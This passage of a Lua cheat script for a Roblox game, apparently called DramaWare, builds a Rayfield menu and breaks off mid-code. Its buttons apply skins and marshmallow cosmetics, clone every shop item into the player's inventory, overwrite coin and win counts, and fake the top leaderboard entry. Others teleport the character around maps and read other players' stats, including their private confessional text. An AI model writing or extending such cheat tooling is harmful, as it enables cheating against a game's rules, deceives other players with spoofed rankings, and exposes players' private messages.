["Animatronic Marshmallow"] = "http://www.roblox.com/asset/?id=14253197608",
["Fly Trap Marshmallow"] = "http://www.roblox.com/asset/?id=13557358447",
["Lightning Marshmallow"] = "http://www.roblox.com/asset/?id=6213299603",
["Official 6 Marshmallow"] = "http://www.roblox.com/asset/?id=13883154348",
["Cave Marshmallow"] = "http://www.roblox.com/asset/?id=14253202968",
["Briefcase Marshmallow"] = "http://www.roblox.com/asset/?id=14253200770",
["Alien Slime Marshmallow"] = "http://www.roblox.com/asset/?id=14253195386",
["Strawberry Marshmallow"] = "http://www.roblox.com/asset/?id=8989965284",
["Gaffer Marshmallow"] = "http://www.roblox.com/asset/?id=14253205269",
["Bane Marshmallow"] = "http://www.roblox.com/asset/?id=4939072726",
["All Star Marshmallow"] = "http://www.roblox.com/asset/?id=4993216167",
["Voting Machine Marshmallow"] = "http://www.roblox.com/asset/?id=14253219599",
["Mint Choc Chip Marshmallow"] = "http://www.roblox.com/asset/?id=10420505533",
["Dropped Marshmallow"] = "http://www.roblox.com/asset/?id=6213298209",
["Spiderweb Marshmallow"] = "http://www.roblox.com/asset/?id=14891850347",
["Mummy Marshmallow"] = "http://www.roblox.com/asset/?id=14891849082",
["Jack-o-lantern Marshmallow"] = "http://www.roblox.com/asset/?id=14891848232",
["Cauldron Marshmallow"] = "http://www.roblox.com/asset/?id=14891845147",
["Ghost Marshmallow"] = "http://www.roblox.com/asset/?id=14891847267",
["Candy Corn Marshmallow"] = "http://www.roblox.com/asset/?id=14891843386",
["Black Cat Marshmallow"] = "http://www.roblox.com/asset/?id=14891842127",
["Frankenstein Marshmallow"] = "http://www.roblox.com/asset/?id=14891846020",
["Candy Cane Marshmallow"] = "http://www.roblox.com/asset/?id=15484725814",
["Christmas Gift Marshmallow"] = "http://www.roblox.com/asset/?id=15484726913",
["Christmas Tree Marshmallow"] = "http://www.roblox.com/asset/?id=15484727551",
["Festive Lights Marshmallow"] = "http://www.roblox.com/asset/?id=15484728253",
["Frosted Marshmallow"] = "http://www.roblox.com/asset/?id=15484728905",
["Hot Chocolate Marshmallow"] = "http://www.roblox.com/asset/?id=15484729538",
["Jingle Bell Marshmallow"] = "http://www.roblox.com/asset/?id=15484730291",
["Mr Snow Marshmallow"] = "http://www.roblox.com/asset/?id=15484731148",
["Reindeer Marshmallow"] = "http://www.roblox.com/asset/?id=15484731823",
["Santa Suit Marshmallow"] = "http://www.roblox.com/asset/?id=15484732509",
["Snowglobe Marshmallow"] = "http://www.roblox.com/asset/?id=15484733560",
["The Grunch Marshmallow"] = "http://www.roblox.com/asset/?id=15484734379",
["Bacon Grease Marshmallow"] = "http://www.roblox.com/asset/?id=16029143731",
["Pink Paint Marshmallow"] = "http://www.roblox.com/asset/?id=16029151877",
["Skunk Tail Marshmallow"] = "http://www.roblox.com/asset/?id=16029163767",
["Rodent Face Marshmallow"] = "http://www.roblox.com/asset/?id=16029162747",
["Candy Marshmallow"] = "http://www.roblox.com/asset/?id=16029146948",
["Lychee Soda Marshmallow"] = "http://www.roblox.com/asset/?id=16029149121",
["Banana Soda Marshmallow"] = "http://www.roblox.com/asset/?id=16029144639",
["The Wolves Marshmallow"] = "http://www.roblox.com/asset/?id=16029164794",
["Young Chester Marshmallow"] = "http://www.roblox.com/asset/?id=16029185414",
["Owl Mascot Marshmallow"] = "http://www.roblox.com/asset/?id=16029150192",
["Racoon Marshmallow"] = "http://www.roblox.com/asset/?id=16029160256",
["Abstract Cake Marshmallow"] = "http://www.roblox.com/asset/?id=16029142769",
["Circus Snake Marshmallow"] = "http://www.roblox.com/asset/?id=16029148014",
["Bogey Marshmallow"] = "http://www.roblox.com/asset/?id=16029145643",
["Sap Removal Marshmallow"] = "http://www.roblox.com/asset/?id=16029165998",
["Carrot Marshmallow"] = "http://www.roblox.com/asset/?id=16735788642",
["Easter Basket Marshmallow"] = "http://www.roblox.com/asset/?id=16735790050",
["Easter Bunny Marshmallow"] = "http://www.roblox.com/asset/?id=16726342799",
["Easter Chick Marshmallow"] = "http://www.roblox.com/asset/?id=16735787584",
["Easter Egg Marshmallow"] = "http://www.roblox.com/asset/?id=16735791814",
["Lion Marshmallow"] = "http://www.roblox.com/asset/?id=16726346946",
["Official 7 Marshmallow"] = "http://www.roblox.com/asset/?id=16752097514",
}
local marshmallowList = {}
for name in pairs(marshmallowData) do table.insert(marshmallowList, name) end
table.sort(marshmallowList)
-- ── applyMarshmallow ──────────────────────────────────────────────────────
local function applyMarshmallow(texture)
local char = _SC_LocalPlayer.Character
if not char then return end
local head = char:FindFirstChild("Head")
if not head then return end
local gui = head:FindFirstChild("MarshmallowGUI")
if not gui then return end
local sector = gui:FindFirstChild("Sector")
if not sector then return end
local imageLabel = sector:FindFirstChildOfClass("ImageLabel")
if imageLabel then imageLabel.Image = texture end
end
-- ── Build skin list from CharacterSelection ───────────────────────────────
local _SC_CSRoot = _SC_RS:WaitForChild("Products"):WaitForChild("CharacterSelection"):WaitForChild("Characters")
local skinList = {}
local skinMap = {}
local skinFaceMap = {}
for _, gender in ipairs(_SC_CSRoot:GetChildren()) do
for _, character in ipairs(gender:GetChildren()) do
local skins = character:FindFirstChild("Skins")
if skins then
local charKey = gender.Name .. " | " .. character.Name
for _, skin in ipairs(skins:GetChildren()) do
local label = charKey .. " | " .. skin.Name
table.insert(skinList, label)
skinMap[label] = skin
local fd = skin:FindFirstChildOfClass("Decal")
if fd then
skinFaceMap[label] = fd.Texture
else
local cfd = character:FindFirstChildOfClass("Decal")
skinFaceMap[label] = cfd and cfd.Texture or ""
end
end
end
end
end
table.sort(skinList)
-- ── applySkin ─────────────────────────────────────────────────────────────
local function _SC_findAttachment(char, attName)
for _, part in ipairs(char:GetDescendants()) do
if part:IsA("Attachment") and part.Name == attName then return part end
end
end
local function applySkin(skinObj, faceTexture)
local char = _SC_LocalPlayer.Character
if not char then return end
for _, v in ipairs(char:GetChildren()) do
if v:IsA("Shirt") or v:IsA("Pants") or v:IsA("Accessory")
or v:IsA("ShirtGraphic") or v:IsA("CharacterMesh") or v:IsA("Hat") then
v:Destroy()
end
end
local function doApplyFace()
local head = char:FindFirstChild("Head")
if not head or not faceTexture or faceTexture == "" then return end
local fc = head:FindFirstChildOfClass("FaceControls")
if fc then fc:Destroy() end
local sa = head:FindFirstChildOfClass("SurfaceAppearance")
if sa then sa.ColorMap = faceTexture end
local decal = head:FindFirstChildOfClass("Decal")
if not decal then
decal = Instance.new("Decal")
decal.Name = "face"
decal.Face = Enum.NormalId.Front
decal.Parent = head
end
decal.Texture = faceTexture
end
doApplyFace()
task.delay(0.2, doApplyFace)
task.delay(0.7, doApplyFace)
local clothesFolder = skinObj:FindFirstChild("Clothes")
if not clothesFolder then return end
local shirt = clothesFolder:FindFirstChildOfClass("Shirt")
if shirt then shirt:Clone().Parent = char end
local pants = clothesFolder:FindFirstChildOfClass("Pants")
if pants then pants:Clone().Parent = char end
local bodyColors = clothesFolder:FindFirstChildOfClass("BodyColors")
if bodyColors then
local existing = char:FindFirstChildOfClass("BodyColors")
if existing then existing:Destroy() end
bodyColors:Clone().Parent = char
end
for _, v in ipairs(clothesFolder:GetChildren()) do
if v:IsA("CharacterMesh") then v:Clone().Parent = char end
end
for _, v in ipairs(clothesFolder:GetChildren()) do
if v:IsA("Accessory") then
local clone = v:Clone()
local handle = clone:FindFirstChild("Handle")
if handle then
handle.Massless = true
local handleAtt = nil
for _, child in ipairs(handle:GetDescendants()) do
if child:IsA("Attachment") then handleAtt = child break end
end
if handleAtt then
local charAtt = _SC_findAttachment(char, handleAtt.Name)
if charAtt then
local rigid = Instance.new("RigidConstraint")
rigid.Attachment0 = charAtt
rigid.Attachment1 = handleAtt
rigid.Parent = clone
end
end
end
clone.Parent = char
elseif v:IsA("Hat") then
v:Clone().Parent = char
end
end
local function disableCollision()
for _, part in ipairs(char:GetDescendants()) do
if part:IsA("BasePart") then part.CanCollide = false end
end
end
disableCollision()
task.delay(0.1, disableCollision)
task.delay(0.5, disableCollision)
end
CharactersTab:CreateSection("Skin Changer")
-- Skin Changer dropdown
CharactersTab:CreateDropdown({
Name = "Skin Changer",
Options = {"None", table.unpack(skinList)},
CurrentOption = "None",
Flag = "SkinChangerSkinDropdown",
Callback = function(Option)
local opt = (type(Option) == "table") and (Option.Option or Option[1]) or Option
local label = tostring(opt or "")
if label == "None" or label == "" then return end
local skin = skinMap[label]
local face = skinFaceMap[label]
if skin then
applySkin(skin, face)
Rayfield:Notify({ Title = "Skin Applied", Content = skin.Name, Duration = 3, Image = "shirt" })
end
end,
})
CharactersTab:CreateDropdown({
Name = "Marshmallow Changer",
Options = {"None", table.unpack(marshmallowList)},
CurrentOption = "None",
Flag = "SkinChangerMallowDropdown",
Callback = function(Option)
local opt = (type(Option) == "table") and (Option.Option or Option[1]) or Option
local name = tostring(opt or "")
if name == "None" or name == "" then return end
local tex = marshmallowData[name]
if tex then
applyMarshmallow(tex)
Rayfield:Notify({ Title = "Marshmallow Applied", Content = name, Duration = 3, Image = "smile" })
end
end,
})
CharactersTab:CreateDropdown({
Name = "Elimination Changer",
Options = {"None", "Sleigh Elimination"},
CurrentOption = "None",
MultipleOptions = false,
Flag = "EliminationChangerDropdown",
Callback = function(selected)
local choice = type(selected) == "table" and selected[1] or selected
if choice == "Sleigh Elimination" then
swapToSleigh()
end
end,
})
CharactersTab:CreateButton({
Name = "Get All Skins (inventory)",
Callback = function()
local _rs = game:GetService("ReplicatedStorage")
local _lp = game:GetService("Players").LocalPlayer
local _DataStore = _lp:WaitForChild("DataStore")
for _, _category in ipairs(_rs.Products.Shop.Items:GetChildren()) do
for _, _item in ipairs(_DataStore[_category.Name]:GetChildren()) do
_item:Destroy()
end
for _, _item in ipairs(_category:GetChildren()) do
_item:Clone().Parent = _DataStore[_category.Name]
end
end
end,
})
-- ── Custom Skin Builder ───────────────────────────────────────────────────
CharactersTab:CreateSection("Custom Skin Builder")
-- Collect unique parts across all skins
local _csb_faceOptions = {"None"}
local _csb_shirtOptions = {"None"}
local _csb_pantsOptions = {"None"}
local _csb_accOptions = {"None"}
local _csb_faceMap = {} -- label -> texture string
local _csb_shirtMap = {} -- label -> Shirt instance
local _csb_pantsMap = {} -- label -> Pants instance
local _csb_accMap = {} -- label -> Accessory/Hat instance
local _seenFace = {}
local _seenShirt = {}
local _seenPants = {}
local _seenAcc = {}
for label, skinObj in pairs(skinMap) do
-- Face
local faceKey = skinFaceMap[label] or ""
if faceKey ~= "" and not _seenFace[faceKey] then
_seenFace[faceKey] = true
local skinName = label:match("| ([^|]+)$") or label
local faceLabel = skinName .. " (face)"
_csb_faceMap[faceLabel] = faceKey
table.insert(_csb_faceOptions, faceLabel)
end
-- Clothes
local clothes = skinObj:FindFirstChild("Clothes")
if clothes then
local shirt = clothes:FindFirstChildOfClass("Shirt")
if shirt and not _seenShirt[shirt.ShirtTemplate or ""] then
_seenShirt[shirt.ShirtTemplate or ""] = true
local skinName = label:match("| ([^|]+)$") or label
local shirtLabel = skinName .. " (shirt)"
_csb_shirtMap[shirtLabel] = shirt
table.insert(_csb_shirtOptions, shirtLabel)
end
local pants = clothes:FindFirstChildOfClass("Pants")
if pants and not _seenPants[pants.PantsTemplate or ""] then
_seenPants[pants.PantsTemplate or ""] = true
local skinName = label:match("| ([^|]+)$") or label
local pantsLabel = skinName .. " (pants)"
_csb_pantsMap[pantsLabel] = pants
table.insert(_csb_pantsOptions, pantsLabel)
end
for _, v in ipairs(clothes:GetChildren()) do
if (v:IsA("Accessory") or v:IsA("Hat")) and not _seenAcc[v.Name] then
_seenAcc[v.Name] = true
local skinName = label:match("| ([^|]+)$") or label
local accLabel = skinName .. " - " .. v.Name
_csb_accMap[accLabel] = v
table.insert(_csb_accOptions, accLabel)
end
end
end
end
table.sort(_csb_faceOptions, function(a,b) return a < b end)
table.sort(_csb_shirtOptions, function(a,b) return a < b end)
table.sort(_csb_pantsOptions, function(a,b) return a < b end)
table.sort(_csb_accOptions, function(a,b) return a < b end)
-- Move "None" back to front after sort
for _, t in ipairs({_csb_faceOptions, _csb_shirtOptions, _csb_pantsOptions, _csb_accOptions}) do
for i, v in ipairs(t) do
if v == "None" then table.remove(t, i) break end
end
table.insert(t, 1, "None")
end
-- Helper: apply a single accessory to character
local function _csb_applyAccessory(accObj)
local char = _SC_LocalPlayer.Character
if not char then return end
local clone = accObj:Clone()
local handle = clone:FindFirstChild("Handle")
if handle then
handle.Massless = true
local handleAtt = nil
for _, child in ipairs(handle:GetDescendants()) do
if child:IsA("Attachment") then handleAtt = child break end
end
if handleAtt then
local charAtt = _SC_findAttachment(char, handleAtt.Name)
if charAtt then
local rigid = Instance.new("RigidConstraint")
rigid.Attachment0 = charAtt
rigid.Attachment1 = handleAtt
rigid.Parent = clone
end
end
end
clone.Parent = char
end
-- Face dropdown
CharactersTab:CreateDropdown({
Name = "Face",
Options = _csb_faceOptions,
CurrentOption = "None",
Flag = "CSB_Face",
Callback = function(Option)
local opt = (type(Option) == "table") and (Option.Option or Option[1]) or Option
local label = tostring(opt or "")
if label == "None" or label == "" then return end
local tex = _csb_faceMap[label]
if not tex then return end
local char = _SC_LocalPlayer.Character
if not char then return end
local head = char:FindFirstChild("Head")
if not head then return end
local fc = head:FindFirstChildOfClass("FaceControls")
if fc then fc:Destroy() end
local sa = head:FindFirstChildOfClass("SurfaceAppearance")
if sa then sa.ColorMap = tex end
local decal = head:FindFirstChildOfClass("Decal")
if not decal then
decal = Instance.new("Decal")
decal.Name = "face"
decal.Face = Enum.NormalId.Front
decal.Parent = head
end
decal.Texture = tex
end,
})
-- Shirt dropdown
CharactersTab:CreateDropdown({
Name = "Shirt",
Options = _csb_shirtOptions,
CurrentOption = "None",
Flag = "CSB_Shirt",
Callback = function(Option)
local opt = (type(Option) == "table") and (Option.Option or Option[1]) or Option
local label = tostring(opt or "")
if label == "None" or label == "" then return end
local shirtObj = _csb_shirtMap[label]
if not shirtObj then return end
local char = _SC_LocalPlayer.Character
if not char then return end
for _, v in ipairs(char:GetChildren()) do
if v:IsA("Shirt") then v:Destroy() end
end
shirtObj:Clone().Parent = char
end,
})
-- Pants dropdown
CharactersTab:CreateDropdown({
Name = "Pants",
Options = _csb_pantsOptions,
CurrentOption = "None",
Flag = "CSB_Pants",
Callback = function(Option)
local opt = (type(Option) == "table") and (Option.Option or Option[1]) or Option
local label = tostring(opt or "")
if label == "None" or label == "" then return end
local pantsObj = _csb_pantsMap[label]
if not pantsObj then return end
local char = _SC_LocalPlayer.Character
if not char then return end
for _, v in ipairs(char:GetChildren()) do
if v:IsA("Pants") then v:Destroy() end
end
pantsObj:Clone().Parent = char
end,
})
-- Accessory dropdown
CharactersTab:CreateDropdown({
Name = "Accessory",
Options = _csb_accOptions,
CurrentOption = "None",
Flag = "CSB_Accessory",
Callback = function(Option)
local opt = (type(Option) == "table") and (Option.Option or Option[1]) or Option
local label = tostring(opt or "")
if label == "None" or label == "" then return end
local accObj = _csb_accMap[label]
if not accObj then return end
_csb_applyAccessory(accObj)
end,
})
-- ── Save / Load custom skin ───────────────────────────────────────────────
-- Saves current char's shirt/pants/face/accessories as a named combo to file
local function _csb_getSavedSkins()
local names = {"None"}
pcall(function()
if not isfolder("DramaWare") then makefolder("DramaWare") end
if not isfolder("DramaWare/CustomSkins") then makefolder("DramaWare/CustomSkins") end
local files = listfiles and listfiles("DramaWare/CustomSkins") or {}
for _, path in ipairs(files) do
local name = tostring(path):match("([^/\]+)%.json$")
if name and name ~= "" then table.insert(names, name) end
end
end)
return names
end
local _csb_loadDropdown = nil
local _csb_selectedLoad = "None"
CharactersTab:CreateInput({
Name = "Save Custom Skin (press Enter to save)",
PlaceholderText = "Enter save name...",
RemoveTextAfterFocusLost = true,
Flag = "CSB_SaveName",
Callback = function(text)
local saveName = tostring(text or ""):match("^%s*(.-)%s*$")
if saveName == "" then
Rayfield:Notify({ Title = "Save Failed", Content = "Enter a name first.", Duration = 3, Image = "alert-triangle" })
return
end
local char = _SC_LocalPlayer.Character
if not char then return end
local data = {}
local head = char:FindFirstChild("Head")
if head then
local decal = head:FindFirstChildOfClass("Decal")
if decal then data.face = decal.Texture end
end
local shirt = char:FindFirstChildOfClass("Shirt")
if shirt then data.shirt = shirt.ShirtTemplate end
local pants = char:FindFirstChildOfClass("Pants")
if pants then data.pants = pants.PantsTemplate end
data.accessories = {}
for _, v in ipairs(char:GetChildren()) do
if v:IsA("Accessory") or v:IsA("Hat") then
table.insert(data.accessories, v.Name)
end
end
pcall(function()
if not isfolder("DramaWare") then makefolder("DramaWare") end
if not isfolder("DramaWare/CustomSkins") then makefolder("DramaWare/CustomSkins") end
writefile("DramaWare/CustomSkins/" .. saveName .. ".json", game:GetService("HttpService"):JSONEncode(data))
end)
local newList = _csb_getSavedSkins()
if _csb_loadDropdown then
pcall(function() _csb_loadDropdown:Refresh(newList) end)
end
Rayfield:Notify({ Title = "Skin Saved", Content = saveName, Duration = 3, Image = "save" })
end,
})
-- Load dropdown
_csb_loadDropdown = CharactersTab:CreateDropdown({
Name = "Load Custom Skin",
Options = _csb_getSavedSkins(),
CurrentOption = "None",
Flag = "CSB_LoadSkin",
Callback = function(Option)
local opt = (type(Option) == "table") and (Option.Option or Option[1]) or Option
local name = tostring(opt or "")
if name == "None" or name == "" then return end
_csb_selectedLoad = name
local path = "DramaWare/CustomSkins/" .. name .. ".json"
local ok, src = pcall(readfile, path)
if not ok or not src or src == "" then
Rayfield:Notify({ Title = "Load Failed", Content = "File not found.", Duration = 3, Image = "alert-triangle" })
return
end
local ok2, data = pcall(function() return game:GetService("HttpService"):JSONDecode(src) end)
if not ok2 or not data then return end
local char = _SC_LocalPlayer.Character
if not char then return end
-- Clear existing clothes/accessories
for _, v in ipairs(char:GetChildren()) do
if v:IsA("Shirt") or v:IsA("Pants") or v:IsA("Accessory") or v:IsA("Hat") then
v:Destroy()
end
end
-- Face
if data.face and data.face ~= "" then
local head = char:FindFirstChild("Head")
if head then
local decal = head:FindFirstChildOfClass("Decal")
if not decal then
decal = Instance.new("Decal")
decal.Name = "face"
decal.Face = Enum.NormalId.Front
decal.Parent = head
end
decal.Texture = data.face
end
end
-- Shirt
if data.shirt and data.shirt ~= "" then
local s = Instance.new("Shirt")
s.ShirtTemplate = data.shirt
s.Parent = char
end
-- Pants
if data.pants and data.pants ~= "" then
local p = Instance.new("Pants")
p.PantsTemplate = data.pants
p.Parent = char
end
-- Accessories (re-apply from skin data by name)
if data.accessories then
for _, accName in ipairs(data.accessories) do
for _, skinObj in pairs(skinMap) do
local clothes = skinObj:FindFirstChild("Clothes")
if clothes then
local found = clothes:FindFirstChild(accName)
if found and (found:IsA("Accessory") or found:IsA("Hat")) then
_csb_applyAccessory(found)
break
end
end
end
end
end
Rayfield:Notify({ Title = "Skin Loaded", Content = name, Duration = 3, Image = "shirt" })
end,
})
CharactersTab:CreateButton({
Name = "Delete Selected Skin",
Callback = function()
if not _csb_selectedLoad or _csb_selectedLoad == "None" or _csb_selectedLoad == "" then
Rayfield:Notify({ Title = "Nothing Selected", Content = "Pick a skin from the dropdown first.", Duration = 3, Image = "alert-circle" })
return
end
local path = "DramaWare/CustomSkins/" .. _csb_selectedLoad .. ".json"
local deleted = false
pcall(function()
if isfile(path) then
delfile(path)
deleted = true
end
end)
if deleted then
Rayfield:Notify({ Title = "Skin Deleted", Content = '"' .. _csb_selectedLoad .. '" deleted.', Duration = 3, Image = "trash-2" })
local newList = _csb_getSavedSkins()
if _csb_loadDropdown then
pcall(function() _csb_loadDropdown:Refresh(newList) end)
end
_csb_selectedLoad = "None"
else
Rayfield:Notify({ Title = "Not Found", Content = 'No skin named "' .. _csb_selectedLoad .. '".', Duration = 3, Image = "alert-circle" })
end
end,
})
end
CharactersTab:CreateDivider()
_G.SelectedFont = nil
_G.StaticColor = Color3.fromRGB(255, 182, 193)
_G.StaticColorCustom = false
_G.RainbowMode = false
_G.RainbowSpeed = 0.5
_G.CustomName = ""
_G.UseCustomName = false
ClientTab:CreateDivider()
ClientTab:CreateInput({
Name = "Custom Name",
PlaceholderText = "Enter name here...",
RemoveTextAfterFocusLost = false,
Callback = function(Text)
_G.CustomName = Text
_G.UseCustomName = (Text ~= "")
end,
})
ClientTab:CreateSlider({
Name = "Rainbow Speed",
Range = {0, 5},
Increment = 0.1,
Suffix = "x",
CurrentValue = 0.5,
Flag = "SpeedSlider",
Callback = function(Value)
_G.RainbowSpeed = Value
end,
})
ClientTab:CreateToggle({
Name = "VIP Name Tag",
CurrentValue = false,
Flag = "VIPNameTag",
Callback = function(Value)
local player = game.Players.LocalPlayer
local char = player.Character
if not char then return end
local head = char:FindFirstChild("Head")
if not head then return end
local playerName = head:FindFirstChild("playerName")
if not playerName then return end
local vip = playerName:FindFirstChild("VIP")
if vip then
vip.Visible = Value
for _, v in ipairs(vip:GetDescendants()) do
if v:IsA("GuiObject") then v.Visible = Value end
end
end
for _, v in ipairs(playerName:GetDescendants()) do
if v:IsA("TextLabel") or v:IsA("TextButton") then
if Value then
if not _G.VIPOrigColors then _G.VIPOrigColors = {} end
if not _G.VIPOrigColors[v] then _G.VIPOrigColors[v] = v.TextColor3 end
v.TextColor3 = Color3.fromRGB(255, 165, 0)
else
if _G.VIPOrigColors and _G.VIPOrigColors[v] then
v.TextColor3 = _G.VIPOrigColors[v]
_G.VIPOrigColors[v] = nil
end
end
end
end
end,
})
ClientTab:CreateToggle({
Name = "Rainbow Effect",
CurrentValue = false,
Flag = "RainbowToggle",
Callback = function(Value)
_G.RainbowMode = Value
end,
})
-- Rainbow Marshmallow | Tints equipped marshmallow with rainbow colours | by kobi
do
local _rainbowMarshEnabled = false
local _rainbowMarshConn = nil
local function _getImageLabel()
local char = game.Players.LocalPlayer.Character
if not char then return end
local head = char:FindFirstChild("Head")
if not head then return end
local gui = head:FindFirstChild("MarshmallowGUI")
if not gui then return end
local sector = gui:FindFirstChild("Sector")
if not sector then return end
return sector:FindFirstChildOfClass("ImageLabel")
end
ClientTab:CreateToggle({
Name = "Rainbow Marshmallow",
CurrentValue = false,
Flag = "RainbowMarshmallowCycler",
Callback = function(Value)
_rainbowMarshEnabled = Value
if Value then
_rainbowMarshConn = game:GetService("RunService").RenderStepped:Connect(function()
local imageLabel = _getImageLabel()
if imageLabel then
local hue = (tick() * _G.RainbowSpeed) % 1
imageLabel.ImageColor3 = Color3.fromHSV(hue, 0.6, 1)
end
end)
else
if _rainbowMarshConn then
_rainbowMarshConn:Disconnect()
_rainbowMarshConn = nil
end
-- Reset the marshmallow tint back to white (default)
local imageLabel = _getImageLabel()
if imageLabel then
imageLabel.ImageColor3 = Color3.fromRGB(255, 255, 255)
end
end
end,
})
end
ClientTab:CreateColorPicker({
Name = "Static Color",
Color = Color3.fromRGB(255, 182, 193),
Flag = "ColorPicker",
Callback = function(Value)
_G.StaticColor = Value
_G.StaticColorCustom = true
end
})
ClientTab:CreateSection("Stats")
ClientTab:CreateInput({
Name = "Custom Coins",
CurrentValue = "",
PlaceholderText = "Numbers only...",
RemoveTextAfterFocusLost = false,
Flag = "CustomCoins",
Callback = function(Text)
game.Players.LocalPlayer.DataStore.Coins.Value = Text
end,
})
ClientTab:CreateInput({
Name = "Custom Camp Wins",
CurrentValue = "",
PlaceholderText = "Numbers only...",
RemoveTextAfterFocusLost = false,
Flag = "CustomCampWins",
Callback = function(Text)
game.Players.LocalPlayer.DataStore.CampWins.Value = Text
end,
})
ClientTab:CreateInput({
Name = "Custom Movies Wins",
CurrentValue = "",
PlaceholderText = "Numbers only...",
RemoveTextAfterFocusLost = false,
Flag = "CustomMoviesWins",
Callback = function(Text)
game.Players.LocalPlayer.DataStore.MoviesWins.Value = Text
end,
})
ClientTab:CreateInput({
Name = "Custom Expedition Wins",
CurrentValue = "",
PlaceholderText = "Numbers only...",
RemoveTextAfterFocusLost = false,
Flag = "CustomExpeditionWins",
Callback = function(Text)
game.Players.LocalPlayer.DataStore.ExpeditionWins.Value = Text
end,
})
ClientTab:CreateInput({
Name = "Custom Official Wins",
CurrentValue = "",
PlaceholderText = "Numbers only...",
RemoveTextAfterFocusLost = false,
Flag = "CustomOfficialWins",
Callback = function(Text)
game.Players.LocalPlayer.DataStore.OfficialWins.Value = Text
end,
})
ClientTab:CreateButton({
Name = "Fake #1 Leaderboard",
Callback = function()
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local avatarUrl = "https://www.roblox.com/headshot-thumbnail/image?userId=" .. player.UserId .. "&width=48&height=48&format=png"
local scrollFrame = workspace.WinLeaderboard.SurfaceGui.ScrollingFrame
for _, frame in pairs(scrollFrame:GetChildren()) do
if frame:IsA("Frame") then
local placeLabel = frame:FindFirstChild("Image") and frame.Image:FindFirstChild("Place")
if placeLabel and placeLabel.Text == "1" then
frame.PName.Text = player.Name
frame.Image.Image = avatarUrl
break
end
end
end
end,
})
ClientTab:CreateDivider()
game:GetService("RunService").RenderStepped:Connect(function()
local char = game.Players.LocalPlayer.Character
if not char then return end
for _, obj in ipairs(char:GetDescendants()) do
if obj:IsA("TextLabel") or obj:IsA("TextButton") then
if _G.UseCustomName and _G.CustomName ~= "" then
obj.Text = _G.CustomName
end
if _G.SelectedFont then
obj.Font = _G.SelectedFont
end
obj.TextScaled = true
if _G.RainbowMode then
local hue = (tick() * _G.RainbowSpeed) % 1
obj.TextColor3 = Color3.fromHSV(hue, 0.6, 1)
elseif _G.StaticColorCustom then
obj.TextColor3 = _G.StaticColor
end
obj.TextStrokeTransparency = 0.5
obj.BackgroundTransparency = 1
end
end
end)
local ply = {}
for _, v in ipairs(game.Players:GetPlayers()) do
table.insert(ply, v.Name)
end
local stato = ply[1]
ToolsTab:CreateSection("Stats Viewer")
local StatsDropdown = ToolsTab:CreateDropdown({
Name = "Select Player",
Options = ply,
CurrentOption = {ply[1]},
MultipleOptions = false,
Flag = "StatsViewerPlayer",
Callback = function(Options)
stato = Options[1]
end,
})
ToolsTab:CreateButton({
Name = "Refresh Player List",
Callback = function()
local newPly = {}
for _, v in ipairs(game.Players:GetPlayers()) do
table.insert(newPly, v.Name)
end
StatsDropdown:Refresh(newPly)
if #newPly > 0 then
StatsDropdown:Set({newPly[1]})
stato = newPly[1]
end
end,
})
ToolsTab:CreateButton({
Name = "View All Stats",
Callback = function()
local ds = game.Players[stato].DataStore
local lines = {
"Camp Wins: " .. ds.CampWins.Value,
"Movies Wins: " .. ds.MoviesWins.Value,
"Expedition Wins: " .. ds.ExpeditionWins.Value,
"Comeback Wins: " .. ds.ComebackWins.Value,
"Coins: " .. ds.Coins.Value,
"Games Played: " .. ds.GamesPlayed.Value,
"Idols Found: " .. ds.IdolsFound.Value,
}
print(stato .. " stats:")
for _, line in ipairs(lines) do print(line) end
Rayfield:Notify({ Title = stato .. "'s Stats", Content = table.concat(lines, "\n"), Duration = 8, Image = "bar-chart-2" })
end,
})
ToolsTab:CreateButton({
Name = "Print Skins",
Callback = function()
local skins = game.Players[stato].DataStore.Skins:GetChildren()
print(stato .. " skins:")
if #skins == 0 then
print("No skins.")
else
for _, v in ipairs(skins) do print(v.Name) end
end
end,
})
ToolsTab:CreateButton({
Name = "Print Marshmallows",
Callback = function()
local marsh = game.Players[stato].DataStore.Marshmallows:GetChildren()
print(stato .. " marshmallows:")
if #marsh == 0 then
print("No marshmallows.")
else
for _, v in ipairs(marsh) do print(v.Name) end
end
end,
})
ToolsTab:CreateButton({
Name = "View Confessional",
Callback = function()
local v = game.Players[stato].DataStore.Confessional.Value
Rayfield:Notify({ Title = stato .. "'s Confessional", Content = v, Duration = 6, Image = "message-square" })
end,
})
if isCamp then
ToolsTab:CreateSection("Teleports")
ToolsTab:CreateButton({
Name = "Spectator Island",
Callback = function()
player.Character:FindFirstChild("HumanoidRootPart").CFrame = CFrame.new(33, -16, 31)
end,
})
ToolsTab:CreateButton({
Name = "Main Island",
Callback = function()
player.Character:FindFirstChild("HumanoidRootPart").CFrame = CFrame.new(150, -17, -417)
end,
})
ToolsTab:CreateButton({
Name = "Exile Island",
Callback = function()
player.Character:FindFirstChild("HumanoidRootPart").CFrame = CFrame.new(-116, -14, -166)
end,
})
ToolsTab:CreateButton({
Name = "Voting Area",
Callback = function()
player.Character:FindFirstChild("HumanoidRootPart").CFrame = CFrame.new(-23, 95, -514)
end,
})
ToolsTab:CreateButton({
Name = "Boat",
Callback = function()
player.Character:FindFirstChild("HumanoidRootPart").CFrame = CFrame.new(47, -20, -297)
end,
})
ToolsTab:CreateButton({
Name = "Bathroom",
Callback = function()
player.Character:FindFirstChild("HumanoidRootPart").CFrame = CFrame.new(302, -15, -325)
end,
})
end
if isMovies then
ToolsTab:CreateSection("Teleports")
ToolsTab:CreateButton({
Name = "Dock",
Callback = function()
player.Character:FindFirstChild("HumanoidRootPart").CFrame = CFrame.new(-187, 52, 5)
end,
})
ToolsTab:CreateButton({
Name = "Voting Area",
Callback = function()
player.Character:FindFirstChild("HumanoidRootPart").CFrame = CFrame.new(89, 63, -148)
end,
})
ToolsTab:CreateButton({
Name = "Confessionals",
Callback = function()
player.Character:FindFirstChild("HumanoidRootPart").CFrame = CFrame.new(17, 65, -24)
end,
})
ToolsTab:CreateButton({
Name = "Challenge",
Callback = function()
player.Character:FindFirstChild("HumanoidRootPart").CFrame = CFrame.new(357, 64, -257)
end,
})
ToolsTab:CreateButton({
Name = "Aftermath",
Callback = function()
player.Character:FindFirstChild("HumanoidRootPart").CFrame = CFrame.new(-669, -66, -666)
end,
})
end
if isExpedition then
ToolsTab:CreateSection("Teleports")
ToolsTab:CreateButton({
Name = "Drop-Off",
Callback = function()
player.Character:FindFirstChild("HumanoidRootPart").CFrame = CFrame.new(-116, 106, -32)
end,
})
ToolsTab:CreateButton({
Name = "Confessionals",
Callback = function()
